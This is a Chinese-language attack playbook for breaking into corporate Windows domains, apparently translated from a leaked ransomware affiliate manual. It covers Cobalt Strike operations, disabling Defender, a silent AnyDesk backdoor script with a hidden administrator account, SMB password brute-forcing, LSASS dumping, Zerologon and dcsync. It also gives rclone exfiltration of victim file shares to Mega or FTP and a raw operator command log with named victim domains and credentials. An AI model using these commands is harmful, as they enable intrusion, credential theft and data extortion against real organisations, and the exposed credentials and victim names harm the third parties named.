网站创建批处理脚本
http://tobbot.com/data/
非常适合创建命令,然后生成批处理文件
使用Tor网络进行工作
接下来(对于那些还没有这样做的人),我建议将整个工作站转移到通过Tor网络工作。
为此,您需要配置您的操作系统和Whonix(这是一个为您创建“安全的Tor隧道”的操作系统,详细信息可以阅读)(在90%的情况下是Kali),所以这是说明。
https://defcon.ru/penetration-testing/405/
在这些操作之后,我遇到了一个问题——Tor over Tor,尽管我遵循了说明。因此,这里是一个解决方案,帮助我解决了问题: https://www.whonix.org/wiki/Other_Operating_Systems#Configure_Tor_Browser_Settings
在那里,您可以在弹出窗口中展开到您被转到的地方。
偏执狂的隐匿性
关于匿名性的几点建议给偏执者:
目标不是隐匿(这根本不可能),而是与人群融为一体。因此,关闭WebRTC、JavaScript、Flash等功能只会引起更多的注意。我们应该不是关闭这些功能,而是替换掉可以被用来发现您的信息。
关于Kali和其他黑客操作系统。假设有一群人(黑客)需要被追踪。从技术上讲,这个任务很难解决。更简单的办法是利用人类的弱点(懒惰),将所有人聚集在一起,提供一个经过良好宣传、便捷、现成且受欢迎的解决方案。我想这个思路是显而易见的。建议使用Debian或者自己构建一个系统。
个人安全
我认为这里每个人都在通过虚拟机工作。因此,我建议在加密的卷上安装虚拟机,使用VeraCrypt。
下载VeraCrypt。
您需要在硬盘上分配空间以放置文件,或者直接加密整个磁盘。
重要规则是,您必须重新安装虚拟机,因为不幸的是,在加密您旧的工作虚拟机时,会出现无法克服的代码错误,它将无法再启动。这并不是大问题,因为您可以通过7ZIP从您旧虚拟机的映像中提取所有文件。
不要忘记保存进入此聊天或Jabber Tokyo的密码,因为如果您丢失它,就再也没人能帮助您返回。
(如果有人能找到不安装新操作系统的方法,请告知,我会进行修正)
从A到Z创建VPS渗透测试环境
https://xss.is/threads/53632/ - 可能会有用
#* 完整的VPS服务器创建脚本,用于从头到尾的渗透测试
有趣的TG论坛列表
https://t.me/peass
https://t.me/antichat
https://t.me/thebugbountyhunter
https://t.me/club1337
https://t.me/infosec1
https://t.me/RalfHackerChannel
https://t.me/in51d3
https://t.me/exploithacker
https://t.me/Premium_Hacking
https://t.me/DownloadCourse14
https://t.me/ViperZCrew
https://t.me/techpwnews
https://t.me/cyb3rhunt3r
https://t.me/cveNotify
https://t.me/MalwareResearch
https://t.me/BugCrowd
https://t.me/itsecalert
权限提升
如果我们看到机器人带有蓝色监视器,首先检查我们在该机器上的用户权限(执行命令 shell whoami /groups
)。
如果我们看到最上面有管理员权限(BULTIN\Administrators),那么可以大胆地右键点击机器人 - 访问 - 提升。
接下来:svc-exe
(在机器人上启动一个新会话,不是从进程,而是从服务,session 将来自系统,监视器为红色)uac-token-dubl
(从当前用户启动会话,但监视器为红色)
这段应该时指的时CS的操作。
提升权限的手册集合,英语不太好的人可以在这里翻译 ---> deepl.com
github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#active-directory-exploitation-cheat-sheet
更换RDP端口
add firewall rules
New-NetFirewallRule -DisplayName "New RDP Port 1350" -Direction Inbound -LocalPort 1350 -Protocol TCP -Action allow
New-NetFirewallRule -DisplayName "New RDP Port 1350" -Direction Inbound -LocalPort 1350 -Protocol UDP -Action allow
add to registry new port
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name PortNumber -Value 1350
powershell
Restart-Service termservice -force
扫描整个网络
如果需要使用一条命令扫描整个网络,可以使用 adfind
命令。具体的命令格式如下:
adfind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName > some.csv
手动禁用Windows Defender
gpedit.msc 在里面按路径进入“计算机配置 - 管理模板 - Windows 组件 - Windows Defender” 找到“实时保护”选项: 在这里选择“关闭实时保护”并双击它: 然后选择“已启用”并点击“确定”。
始终以管理员身份运行: uac - 删除请求管理员权限的弹出窗口 defoff - 关闭 Defender(并不适用于所有情况,运行后在任务管理器中检查是否存在 Mspeng 进程) RDP - 启动 3389 端口
del - 删除影子副本(请求删除权限,按 - y) NS - 挂载隐藏系统磁盘(密码:98)!! 在删除 AV 后使用
NLA+BACK - 修复 NLA + 后门以便无密码登录,操作如下: 在登录窗口(输入凭据的地方)按 win+Y,会弹出 cmd 窗口 输入 taskmgr,打开用户标签,右键任何用户 - 连接 p.s - 在 Windows 10 上不适用 \ 需要密码
打开gmer或其他替代工具 - 终止进程mspeng,然后进入文件位置,删除该文件
利用AnyDesk
Function AnyDesk {
mkdir "C:\ProgramData\AnyDesk"
# 下载 AnyDesk
$clnt = new-object System.Net.WebClient
$url = "http://download.anydesk.com/AnyDesk.exe"
$file = "C:\ProgramData\AnyDesk.exe"
$clnt.DownloadFile($url,$file)
cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --set-password
net user oldadministrator "qc69t4B#Z0kE3" /add
net localgroup Administrators oldadministrator /ADD
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f
cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id
}
AnyDesk
在 PowerShell ISE 以管理员身份运行代码。输出中会得到 ID,保存到自己的地方。在单独的独立服务器/VPS/虚拟机上下载 AnyDesk,并输入 ID。点击 Console Account,输入密码:J9kzQ2Y0qO
然后可以使用本地管理员或域账户登录并享受 AnyDesk 的便利。还可以方便地在受害者的机器上下载/上传文件,这在查看和查找特定文档时非常有用
手册
进入代理: 右键点击代理并选择“交互”。
查看管理员列表:
net group "domain admins" /domain
域:
net view /all /domain
查看 DC 列表:
nltest /dclist:"NameDomain"
获取服务器列表: 加载 PowerView 模块。 右键点击代理,选择“获取信息 > 获取服务器”。 获得服务器列表。
获取计算机列表: 由于 PowerView 模块已经加载,右键点击代理,选择“获取信息 > 获取所有计算机”。 获得计算机列表。
获取所有域管理员的密码: 右键点击代理,选择“访问 > 转储哈希”。 切换到上方的“视图 > 凭据”标签。 获取所有哈希并查找域管理员的哈希。
查找 NAS 和备份: 使用以下命令获取该域的所有子网:
Get-NetSubnet
接下来使用以下命令了解 NAS 和备份位于哪个 IP 地址:
portscan 107.191.177.1-107.191.177.255 5000 icmp 1024
有用的命令列表:
恢复代理权限到默认状态:
rev2self
启用用户通过 CMD:
net user Administrator /active:yes
用户信息:
net user careadmin /domain
启用 RDP 连接:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
关闭 Defender:
Set-MpPreference -DisableRealtimeMonitoring $true
更新策略:
repadmin /syncall /AdeP
显示域信任:
nltest /domain_trusts /all_trusts
在另一台 PC 上运行程序:
wmic /node:"计算机名称" process call create "需要执行的命令"
初步操作
获取AD - 允许我们了解网络中有多少服务器和工作站,以及用户的信息,例如职位等。获取AD后,我们进行排序(sorted),以便筛选出我们需要的信息 - 这部分稍后会演示给你们。
获取共享(sharfinder) - 通过这个工具,我们查看该用户可以访问的其他计算机。
Kerberos攻击 - 从内存中提取哈希,如果成功提取并成功破解哈希,我们就能获得域管理员的权限。
如果我们拥有system权限,通过“hashdump”和“logonpasswords”命令,我们可以提取哈希和mimikatz,这样我们就能获得域用户的密码,有时甚至是域管理员的密码。
如果我们找到了域管理员的登录名和哈希,但未能破解该哈希,我们可以执行命令
pth Domain\Admin pass(以哈希形式)
,使用命令shell dir \\ip 或 主机名\c$
检查对服务器或工作站的访问。如果我们找到了域管理员或用户的登录名/密码,可以将其令牌应用到当前会话,命令如下:
make_token Domain\Admin Pass
,如果想要撤回令牌,使用命令rev2self
。如果会话中有system进程,可以使用
getsystem
命令提升会话的系统权限,参考第(4)点。同时不要忘记通过
ps
命令查看进程,在这里可以找到用户,迁移到他的进程中 > Explore > Process list > 然后选择用户的进程(用户必须与当前会话不同),点击 inject,选择 SSL 监听器。迁移到新用户后,同样需要获取共享,以查看可以通过他进行哪些突破。
当你获取共享时,在完成获取后会在 C:\ProgramData 目录下找到 sh.txt 或 shares.txt,下载并查看文本中有多少个 "remote admin",如果超过一个,则说明可以访问其他计算机。
在会话中点击 > 文件浏览器 > 输入路径 \ip 或 计算机主机名\c$,将payload放入该目录,稍后我会提供给你们。
运行payload取决于其格式(exe或dll),启动过程我稍后会亲自说明。
对服务器和工作站进行ping操作,我们需要 p.bat,我会在群里分享。创建一个文本文件,命名为 domains.txt,将服务器或工作站的主机名放入其中。主机名来源于获取的AD,通过脚本,我们会展示如何使用。
如果你找到某个密码,也可以通过 smb_login 进行测试 - 这是 metasploit 中的一个工具,我会提供 metasploit 并告诉你如何使用。smb_login 会显示使用这些凭据可以访问哪些服务器或工作站。
SMB爆破
SMB AUTOBRUT 攻击的输入数据完全是密码(收集到的凭据):
通过 CharpChrome 浏览器导出的密码
通过 SeatBelt 导出的密码
在网络内部操作过程中导出的密码(例如通过mimikatz等)
以及任何其他密码,例如在文件中找到的记录
如果这类密码的数量不足以发起暴力破解攻击,我们可以大胆地从以下在企业环境中最常出现的密码列表中补充。
Password1 Hello123 password Welcome1 banco@1 training Password123 job12345 spring food1234
我们还建议使用基于季节和当前年份的密码列表。考虑到密码每三个月更改一次,可以为此列表生成“备用”。 例如,在2020年8月,我们创建以下内容的列表
June2020 July2020 August20 August2020 Summer20 Summer2020 June2020! July2020! August20! August2020! Summer20! Summer2020!
以上所有密码都符合 Active Directory 的 3/4 密码要求(这对于用户设置来说已经足够),或者全部 4 个要求。 注:这里考虑的是最流行的要求版本。
域管理员场景
使用 shell 命令 net group “domain admins” /dom 收集域管理员列表 将获取的数据写入文件 admins.txt
将此文件上传到主机 C:\ProgramData 文件夹下
查询域账户锁定策略(防暴力破解保护)
beacon> shell net accounts /dom
beacon 已运行:net accounts /dom 主机回家,发送:48字节 接收输出:
请求将由域域 shookconstruction.com 的域控制器处理。 超时后多久强制用户注销?:从不 密码最短使用期限(天):1 密码最长使用期限(天):42 密码最小长度:6 维护的密码历史长度:24 锁定阈值:从不 锁定持续时间(分钟):30 锁定观察窗口(分钟):30 计算机角色:备份
我们关心的是 Lockout threshold 参数,它通常包含一个特定的数值,我们以后应该将其用作参数(在这种情况下设置为 Never - 意味着防暴力破解保护被禁用)。 在本指南中,我们将指定 5 作为通常最常见的值。 Minimum password length 参数指出密码的最小允许字符数,用于过滤我们将要设置的“列表”密码。
在脚本源代码中指定脚本将运行的域
字符串 $context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext(“Domain”,“shookconstruction.com”)
导入并运行脚本 powershell-import /tmp/Fast-Guide/Invoke-SMBAutoBrute.ps1 psinject 4728 x86 Invoke-SMBAutoBrute -UserList “C:\ProgramData\admins.txt” -PasswordList “Password1, Welcome1, 1qazXDR%+” -LockoutThreshold 5 -ShowVerbose
4728 在此情况下是当前 pid,x86 是其位数
密码列表由我们找到的一个以及两个流行密码列表组成
观察脚本执行过程并查看结果
成功!用户名:Administrator。密码:1qazXDR%+ 成功!用户名:CiscoDirSvcs。密码:1qazXDR%+
我们已经破解了两个域管理员。
========================================================================
不指定用户列表的场景只有两个不同之处。
psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList “Password1, Welcome1, 1qazXDR%+” -LockoutThreshold 5 我们不指定 UserList 和 ShowVerbose 参数。第一个参数的缺失意味着破解将针对域中的所有用户进行,第二个参数的缺失表示只输出成功结果。
我不会在视频教程中等待脚本完成对域中所有用户/密码对的遍历,只会展示输出。
成功!用户名:Administrator。密码:1qazXDR%+
成功!用户名:CiscoDirSvcs。密码:1qazXDR%+
成功!用户名:support。密码:1qazXDR%+
成功!用户名:accountingdept。密码:1qazXDR%+
如您所见,我们能够找到可能有助于进一步在网络中提升权限和地位的其他用户账户。
如果没有积极的结果,可以在一段时间后重试(最佳做法是在下一次尝试之前将 Lockout。
主要讲了一个工具的使用策略,重点在于及时更新你的密码字典。
SQL DAMP
查看谁在操作数据库(连接到数据库的主机和用户)
sqlcmd -S localhost -Q “select loginame, hostname from sys.sysprocesses
在命令行中输出服务器上的所有数据库
sqlcmd.exe -S localhost -E -Q “SELECT name FROM master.dbo.sysdatabases;
以及每个数据库的大小(以兆字节为单位
sqlcmd -S localhost -E -Q “SELECT d.name, ROUND(SUM(mf.size) * 8 / 1024, 0) FROM sys.master_files mf INNER JOIN sys.databases d ON d.database_id = mf.database_id WHERE d.database_id > 4 GROUP BY d.name ORDER BY d.name;
导出数据库中行数最多的100个表,以及每个表的行数和大小(在Windows上)
sqlcmd -S localhost -E -Q “USE %databasename% SELECT TOP 100 s.Name AS SchemaName, t.Name AS TableName, p.rows AS RowCounts, CAST(ROUND((SUM(a.total_pages) / 128.00), 2) AS NUMERIC(36, 2)) AS Total_MB FROM sys.tables t INNER JOIN sys.indexes i ON t.OBJECT_ID = i.object_id INNER JOIN sys.partitions p ON i.object_id = p.OBJECT_ID AND i.index_id = p.index_id INNER JOIN sys.allocation_units a ON p.partition_id = a.container_id INNER JOIN sys.schemas s ON t.schema_id = s.schema_id GROUP BY t.Name, s.Name, p.Rows ORDER BY RowCounts desc, Total_MB desc;
sqlcmd -S localhost -E -Q “USE %databasename% SELECT TOP 100 s.Name AS SchemaName, t.Name AS TableName, p.rows AS RowCounts, CAST(ROUND((SUM(a.total_pages) / 128.00), 2) AS NUMERIC(36, 2)) AS Total_MB FROM sys.tables t INNER JOIN sys.indexes i ON t.OBJECT_ID = i.object_id INNER JOIN sys.partitions p ON i.object_id = p.OBJECT_ID AND i.index_id = p.index_id INNER JOIN sys.allocation_units a ON p.partition_id = a.container_id INNER JOIN sys.schemas s ON t.schema_id = s.schema_id GROUP BY t.Name, s.Name, p.Rows ORDER BY RowCounts desc, Total_MB desc;
计算特定数据库中特定表的行数
sqlcmd -S localhost -E -Q “select count(*) from %databasename%.dbo.%tablename%;
导出特定数据库中特定表的前10条记录
sqlcmd -S localhost -E -Q “select top 10 * from %databasename%.dbo.%tablename%;
sqlcmd -S localhost -E -Q “use %databasename%; select top 10 * from %tablename%
在特定数据库中按列名称搜索,例如包含 %pass%
sqlcmd -S localhost -E -Q “select COLUMN_NAME as ‘ColumnName’, TABLE_NAME as ‘TableName’ from %databasename%.INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME like ‘%pass%’;
将特定表中特定列的数据导出到txt文件中(在Windows上,示例中是数值大于日期的表)
sqlcmd.exe -S localhost -E -Q “select UserKey, EmailAddress, RealName, Phone, FirstName, LastName, CountryName, CreatedDate from %databasename%.dbo.%tablename% where CreatedDate > ‘2017-11-30’;” -W -s"|" -o “C:\temp\123.txt” 完整导出: sqlcmd.exe -S localhost -E -Q “select * from %databasename%.dbo.%tablename%” -W -s"|" -o “C:\Windows\Temp\1.txt”
输出特定数据库的所有表
sqlcmd -S localhost -E -Q “use %databasename%; exec sp_tables
对于远程或其他本地服务器,将 localhost 替换为 ip,port 例如 - localhost,%port% (通过netstat查看)
如果表或数据库的名称由2-3-4个单词组成,那么应该这样转义 [%databasename/tablename%]
sqlcmd -E -S localhost -Q “BACKUP DATABASE databasename TO DISK=‘d:\adw.bak’”
如何ping网络
for /f %%i in (domains.txt) do ping %%i -n 1 >> res.txt
如何获取和下载信息
在提升权限并找到域管理员之后,我们将会话拉入到 CobaltStrike。
挂载域管理员令牌并提取共享,操作如下: *powershell-import - 我们像往常一样上传 ShareFinder 并执行以下命令 - psinject 7080 x64 Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\found_shares.txt
接下来,我们研究提取的共享,我们感兴趣的是: 财务文档 会计 IT 客户 *项目 等等,这取决于我们的目标从事的工作
接下来执行以下操作 > 这是 Diablo 的手册,所有内容都易于访问且清晰易懂
Rclone 为了开始通过 rclone 下载,我们需要创建一个配置 创建配置需要打开 cmd,进入 rclone.exe 所在的目录 使用以下命令运行 rclone.exe:rclone config 然后在出现的菜单中选择 new remote 我们给它命名为 mega,然后再次输入 mega 之后输入 Mega 的邮箱地址,然后它会询问是否输入密码或生成密码,我们选择自己的密码,输入 ‘Y’ 输入密码时密码不会显示,但它仍然会被输入 创建配置后,我们会回到主菜单并退出 rclone。 接下来输入以下命令 rclone.exe config show,它将显示我们创建的配置 我们复制这个配置并创建一个名为 rclone.conf 的文件,将信息放入其中。 在我们找到感兴趣的共享后,我们上传 exe 和配置文件到具有权限的目标机器上,并隐藏它们以避免被发现 进入 exe 文件所在的目录并执行以下命令:shell rclone.exe copy “\envisionpharma.com\IT\KLSHARE” Mega:Finanse -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 其中:\envisionpharma.com\IT\KLSHARE 是共享路径 Mega:Finanse 是 Mega 中的文件位置(可以自行在 Mega 中创建文件夹,只需在这里指定) –multi-thread-streams 12 --transfers 12 是最大下载线程数(12),不建议使用,因为可能会被轻易发现
shell rclone.exe copy “\PETERLENOVO.wist.local\Users” ftp1:uploads/Users/ -q --ignore-existing --auto-confirm --multi-thread-streams 3 --transfers 3 - 这是一个示例,在这种情况下是上传到 FTP
!!!RCLONE 的文件大小约为 50MB,其下载链接将在下面的帖子中提供!!!
有点麻烦,rclone似乎是他们自己写的工具。
利用CVE-2020-1472 Zerologon漏洞在Cobalt Strike中进行攻击
我们在这里下载脚本: https://github.com/rsmudge/ZeroLogon-BOF
像往常一样连接,脚本地址是 ZeroLogon-BOF/dist/zerologon.cna
在控制台中应该会出现一个新的命令 - zerologon
使用方法:
net domain - 获取域名(例如 domain.local)
运行漏洞利用: zerologon iunderstand domain.local
iunderstand - 是一个停止词。利用这个漏洞我们会重置密码。这个漏洞利用可能会导致域控制器功能受损。仅在最后不得已的情况下使用。
如果成功,我们会看到: 成功!使用 pth .\%S 31d6cfe0d16ae931b73c59d7e0c089c0 并运行 dcscync
按照指示操作。执行 pth .\%S 31d6cfe0d16ae931b73c59d7e0c089c0
然后执行 dcsync domain.local
如果一切顺利,我们将获取 NTDS 数据。
LSASS转储
获取系统权限
执行命令
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full
(PID指的是lsass进程的ID) (在远程机器上进行)coba_wmic: 执行命令wmic /node:[target] process call create "cmd /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full"
远程执行psexec [target] cmd /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full
======= 方法二:通过RDP: 打开任务管理器 => 右键点击lsass进程 => 创建转储文件。然后将文件下载到自己的电脑上。如何进行破解: 打开mimikatz,然后执行
privilege::debug
sekurlsa::minidump A:\3.WORK\BL-ws20\lsass.DMP (路径替换为我们的文件路径)
log
sekurlsa::logonpasswords
寻找高价值的域用户
我再说一下关于ad_users的事情,这里面有很多员工的信息,可以找到技术人员、工程师等等。我们通常在想找管理员的机器时需要ad_users,因为在管理员的机器上我们可以找到杀毒控制台的密码、云备份的密码等等。现在我会发一份关于USERHUNTER的手册,通过它我们可以找到这些机器。同时,我们也需要ad_users来获取SID,用于金票,但这我们后面再说。
编制目标列表 1.1 打开ad_users,寻找潜在感兴趣的人员:管理员/工程师/信息技术/IT,从sAMAccountName中提取账户的登录名。 1.2 获取域管理员的列表。 1.3 将第一和第二部分放入list.txt文件中。
上传PowerView。 2.1 执行命令
powershell-import _/home/user/soft/powerview/view.ps1_
2.1 --注释:从/home/user/soft/powerview/view.ps1
导入PowerView。
2.3 启动狩猎 2.3.1
psinject 1884 x64 Invoke-UserHunter -Threads 20 -UserFile C:\ProgramData\list.txt >> C:\ProgramData\out.txt
将1884替换为我们有权限进行注入的进程PID。 x64 - 或者x86进程的位数。查看任务列表。 在C:\ProgramData\list.txt中应该放着我们在第1步中制作的列表。 5-10-20分钟后查看out.txt中的结果。当结束时会立即填充。如果文件是0字节,则意味着正在工作,或者杀毒软件检测到了(如果被杀毒软件检测到,在coba中会看到)。
AD-DC操作手册
C:\Windows\System32\config\sam
C:\Windows\System32\config\security
C:\Windows\System32\config\system
在这些文件中存储着诸如所有Windows用户账户的哈希密码、与安全性相关的参数、加密密钥的数据以及操作系统核心配置的其他重要信息。
sleep 5
ps
cd C:\ProgramData
AV_Query
powershell-import /opt/PowerSploit-dev/Recon/PowerView.ps1
powershell Get-DomainController
powershell Get-DomainComputer -Properties dnshostname
powershell Get-DomainComputer -OperatingSystem *server* -Properties dnshostname
shell net group "domain Admins" /domain
shell net group "Enterprise Admins" /domain
logonpasswords
shell nltest /DOMAIN_TRUSTS
make_token FMH\maysys 34stb4y@345
dcsync FMH
upload /home/tester/Desktop/payload/x64.dll (\\FMH-DC01.FMH.local\C$\ProgramData\x64.dll)
remote-exec wmi FMH-DC01 rundll32.exe C:\ProgramData\x64.dll StartW
rm \\FMH-DC01.FMH.local\C$\ProgramData\x64.dll
upload /home/tester/Desktop/FMH/x64.dll (\\FMH-DC01.FMH.local\C$\ProgramData\x64.dll)
upload /home/tester/Desktop/FMH/tlt.dll (\\FMH-DC01.FMH.local\C$\ProgramData\tlt.dll)
remote-exec wmi FMH-DC01 rundll32.exe C:\ProgramData\tlt.dll StartW
rm \\FMH-DC01.FMH.local\C$\ProgramData\tlt.dll
rm \\FMH-DC01.FMH.local\C$\ProgramData\x64.dll
rev2self
make_token FMH.local\Administrator 34stb4y*.*
powershell-import /opt/PowerSploit-dev/Recon/ShareFinder.ps1
powerpick Invoke-ShareFinder -Ping -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\share.txt
download C:\ProgramData\share.txt
rm C:\ProgramData\share.txt
dcsync FMH.local
upload /home/tester/Desktop/FMH/tlt.dll (\\OPERA-APP.FMH.local\C$\ProgramData\tlt.dll)
remote-exec wmi OPERA-APP.FMH.local rundll32.exe C:\ProgramData\tlt.dll StartW
rm \\OPERA-APP.FMH.local\C$\ProgramData\tlt.dll
sleep 0
net domain_controllers
net domain_trusts
shell whoami /all
shell hostname
powershell get-adcomputer -filter * | select -expand name
upload /home/host/Desktop/1.bat (C:\ProgramData\1.bat)
shell cd c:\programata
ls
powershell get-adcomputer -filter * -properties passwordlastset | select name, ipv4address, passwordlastset | sort passwordlastset
shell 1.bat
echo FMH-DC01 1>>c:\programdata\qu.txt
quser /server:FMH-DC01 1>>c:\programdata\qu.txt
powershell Get-ADComputer -Filter 'operatingsystem -notlike "*server*" -and enabled -eq "true"' ` -Properties Name,Operatingsystem,IPv4Address,LastLogonDate | Sort-Object -Property Operatingsystem | Select-Object -Property Name,Operatingsystem,IPv4Address,LastLogonDate | Format-Table -AutoSize | out-file c:\programdata\workstations.txt
powershell Get-ADComputer -Filter 'operatingsystem -notlike "*server*" -and enabled -eq "true"' ` -Properties Name,Operatingsystem,IPv4Address,LastLogonDate | Sort-Object -Property Operatingsystem | Select-Object -Property Name,Operatingsystem,IPv4Address,LastLogonDate | Format-Table -AutoSize
ls
upload /home/host/Desktop/2.bat (C:\ProgramData\2.bat)
echo OPERA-APP 1>>c:\programdata\qu.txt
quser /server:OPERA-APP 1>>c:\programdata\qu.txt
powershell Get-ADComputer -Filter 'operatingsystem -like "*server*" -and enabled -eq "true"' ` -Properties Name,Operatingsystem,IPv4Address,LastLogonDate | Sort-Object -Property Operatingsystem | Select-Object -Property Name,Operatingsystem,IPv4Address,LastLogonDate | Format-Table -AutoSize
ls
beacon> upload /home/host/Desktop/3.bat (C:\ProgramData\3.bat)
shell 3.bat
echo FMH-DC01 1>>c:\programdata\sh.txt
net view \\FMH-DC01 /all 1>>c:\programdata\sh.txt
powershell get-adcomputer -filter * -properties passwordlastset | select name, ipv4address, passwordlastset | sort passwordlastset
download C:\ProgramData\ts.txt
download c:\programdata\sh.txt
shell dir \\192.168.1.82\c$
shell whoami
rev2self
make_token MH.local\backups Riverd0gs1
shell dir \\192.168.1.82\c$
********************************************ДРУГАЯ ТАЧКА******************
sleep 5
ps
logonpasswords
shell systeminfo /s FMH-EXCH01
rev2self
make_token FMH.local\Administrator 34stb4y*.*
sleep 0
shell dir \\192.168.1.82\c$
shell quser /server:192.168.1.89
shell net user scott.geer /dom
shell tasklist /s 192.168.1.89
download \\192.168.1.89\c$\users\scott.geer\AppData\Local\Google\Chrome\User Data\Default\History
download \\192.168.1.89\c$\users\scott.geer\AppData\Local\Google\Chrome\User Data\Default\Login Data
shell ping FMH-BACKUPS02
shell quser /server:FMH-BACKUPS02
shell quser /server:192.168.1.132
shell ping 192.168.1.132
提取所有计算机名称:
get-adcomputer -filter * | select -expand name | out-file c:\programdata\hosts.txt
这行命令获取所有计算机对象的名称,并将其输出到
C:\ProgramData\hosts.txt
文件中。提取非Windows计算机信息:
Get-ADComputer -Filter 'operatingsystem -notlike "windows" -and enabled -eq "true"' ` -Properties Name,Operatingsystem,IPv4Address,LastLogonDate | Sort-Object -Property Operatingsystem | Select-Object -Property Name,Operatingsystem,IPv4Address,LastLogonDate | Format-Table -AutoSize | out-file c:\programdata\other.txt
这段命令获取所有启用的非Windows操作系统的计算机信息,并将名称、操作系统、IPv4 地址和上次登录日期以表格形式输出到
C:\ProgramData\other.txt
文件中。提取Windows服务器信息:
Get-ADComputer -Filter 'operatingsystem -like "server" -and enabled -eq "true"' ` -Properties Name,Operatingsystem,IPv4Address,LastLogonDate | Sort-Object -Property Operatingsystem | Select-Object -Property Name,Operatingsystem,IPv4Address,LastLogonDate | Format-Table -AutoSize | out-file c:\programdata\servers.txt
这段命令提取所有启用的Windows服务器的相关信息,输出到
C:\ProgramData\servers.txt
。提取非服务器Windows工作站信息:
Get-ADComputer -Filter 'operatingsystem -notlike "server" -and enabled -eq "true"' ` -Properties Name,Operatingsystem,IPv4Address,LastLogonDate | Sort-Object -Property Operatingsystem | Select-Object -Property Name,Operatingsystem,IPv4Address,LastLogonDate | Format-Table -AutoSize | out-file c:\programdata\workstations.txt
这段命令获取所有启用的非服务器的Windows计算机信息,并输出到
C:\ProgramData\workstations.txt
文件中。
我们使用这些脚本提取并解析网络中的主机信息。现在我会运行几个批处理文件,以查看正在运行的进程、哪些用户正在使用,以及所有主机上可用的共享资源。
我们从 host.txt
文件中提取数据,以创建批处理文件。操作如下:
使用
echo FMH-DC01 >> c:\programdata\qu.txt
将主机名添加到qu.txt
文件中。使用
quser /server:FMH-DC01 >> c:\programdata\qu.txt
获取该主机上的用户信息,并追加到同一文件。
对输出中的每个主机重复此过程。最后,将所有内容打包成一个 .bat
扩展名的文件,并通过命令提示符或在CS环境中通过 shell 1.bat
执行。最好以域管理员身份运行,以确保对Active Directory中每个可用主机的RPC访问。
这个工具可以创建 ntds.dit 和系统文件的影像副本。操作如下:
使用命令
vssadmin create shadow /for=C:
创建 C: 盘的影像副本。
暂结尾
还有一篇篇幅比较长,单独起一篇文章发布。